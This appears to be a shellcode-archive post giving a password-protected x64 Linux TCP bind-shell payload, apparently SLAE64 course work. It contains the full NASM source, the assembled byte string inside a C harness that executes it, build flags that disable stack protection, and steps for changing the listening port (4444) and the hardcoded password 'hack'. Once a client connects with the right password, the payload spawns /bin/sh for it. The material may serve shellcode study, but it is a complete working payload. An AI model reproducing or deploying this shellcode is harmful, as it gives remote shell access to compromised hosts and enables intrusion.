TCP Bindshell With Password Prompt Shellcode

Credit: Sathish kumar
Risk: Medium
Local: No
Remote: Yes

/*--------------------------------------------------------------------------------------------------------------------- /* *Title: tcp bindshell with password prompt in 162 bytes *Author: Sathish kumar *Contact: *Description: x64 Linux bind TCP port shellcode on port 4444 with reconfigurable password *Tested On: Ubuntu 14.04 LTS *SLAE64-1408 *Build/Run: gcc -fno-stack-protector -z execstack bindshell.c -o bindshell * ./bindshell * nc localhost 4444 * */ /* * NOTE: This C code binds on port 4444 * The top of this file contains the .nasm source code * The Port can be Reconfigured According to your needs * Instructions for changing port number * Port obtainer change the port value accorddingly * * import socket * port = 4444 * hex(socket.htons(port)) * python * Result : 0x5c11 * Replace the obtained value in the shellcode to change the port number * For building the from .nasm source use * nasm -felf64 filename.nasm -o filename.o * ld filename.o -o filename * To inspect for nulls * objdump -M intel -D filename.o global _start _start: jmp sock prompt: db 'Passcode' ; initilization of prompt data ; sock = socket(AF_INET, SOCK_STREAM, 0) ; AF_INET = 2 ; SOCK_STREAM = 1 ; syscall number 41 sock: xor rax, rax ;Xor function will null the values in the register beacuse we doesn't know whats the value in the register in realtime cases xor rsi, rsi mul rsi push byte 0x2 ;pusing argument to the stack pop rdi ; poping the argument to the rdi instructions on the top of the stack should be remove first because stack LIFO inc esi ; already rsi is 0 so incrementing the rsi register will make it 1 push byte 0x29 ; pushing the syscall number into the rax by using stack pop rax syscall ; copying the socket descripter from rax to rdi register so that we can use it further xchg rax, rdi ; server.sin_family = AF_INET ; server.sin_port = htons(PORT) ; server.sin_addr.s_addr = INADDR_ANY ; bzero(&server.sin_zero, 8) ; setting up the data sctructure push 0x2 ;AF_INET value is 2 so we are pushing 0x2 mov word [rsp + 2],0x5c11 ;port 4444 htons hex value is 0x5c11 port values can be be obtained by following above instructions push rsp ; saving the complete argument to rsi register pop rsi ; bind(sock, (struct sockaddr *)&server, sockaddr_len) ; syscall number 49 push rdx ; Inserting the null to the stack push byte 0x10 pop rdx ; value of the rdx register is set to 16 size sockaddr push byte 0x31 pop rax ; rax register is set with 49 syscall for bind syscall ;listen the sockets for the incomming connections ; listen(sock, MAX_CLIENTS) ; syscall number 50 pop rsi push 0x32 pop rax ; rax register is set to 50 syscall for listen syscall ; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len) ;syscall number 43 push 0x2b pop rax ; rax register is set to 43 syscall for accept syscall ; storing the client socket description mov r9, rax ; close parent push 0x3 pop rax ; closing the parent socket connection using close parent rax is set to 3 syscall to close parent syscall xchg rdi , r9 xor rsi , rsi ; initilization of dup2 push 0x3 pop rsi ; setting argument to 3 duplicate: dec esi mov al, 0x21 ;duplicate syscall applied to error,output and input using loop syscall jne duplicate ; Prompt for password xor rax, rax inc al ; rax register to value 1 syscall for write push rax pop rdi ; rdi register to value 1 lea rsi, [rel prompt] xor rdx, rdx ; xor the rdx register to clear the previous values push 0xe pop rdx syscall ; checking the password using read password_check: push rsp pop rsi xor rax, rax ; system read syscall value is 0 so rax is set to 0 syscall push 0x6b636168 ; password to connect to shell is hack which is pushed in reverse and hex encoded pop rax lea rdi, [rel rsi] scasd ; comparing the user input and stored password in the stack jne Exit execve: ; Execve format , execve("/bin/sh", 0 , 0) xor rsi , rsi mul rsi ; zeroed rax , rdx register push ax ; terminate string with null mov rbx , 0x68732f2f6e69622f ; "/bin//sh" in reverse order push rbx push rsp pop rdi ; set RDI push byte 0x3b ; execve syscall number (59) pop rax syscall Exit: ;Exit shellcode if password is wrong push 0x3c pop rax ;syscall number for exit is 60 xor rdi, rdi syscall */ #include<stdio.h> #include<string.h> unsigned char code[] = \ "\xeb\x08\x50\x61\x73\x73\x63\x6f\x64\x65\x48\x31\xc0\x48\x31\xf6\x48\xf7\xe6\x6a\x02\x5f\xff\xc6\x6a\x29\x58\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02" //Port number this can be obtained from the above instrcutions "\x11\x5c" "\x54\x5e\x52\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x49\x89\xc1\x6a\x03\x58\x0f\x05\x49\x87\xf9\x48\x31\xf6\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x48\x31\xc0\xfe\xc0\x50\x5f\x48\x8d\x35\x9d\xff\xff\xff\x48\x31\xd2\x6a\x0e\x5a\x0f\x05\x54\x5e\x48\x31\xc0\x0f\x05" //Password this can be obtained by /* * python * password = 'hack' * (password[::-1]).encode('hex') * Reuslt : 6b636168 * This is stored in reverse beacuse of stack * * */ "\x68\x68\x61\x63\x6b" "\x58\x48\x8d\x3e\xaf\x75\x1a\x48\x31\xf6\x48\xf7\xe6\x66\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x6a\x3b\x58\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05"; main() { printf("Shellcode Length: %d\n", (int)strlen(code)); int (*ret)() = (int(*)())code; ret(); }


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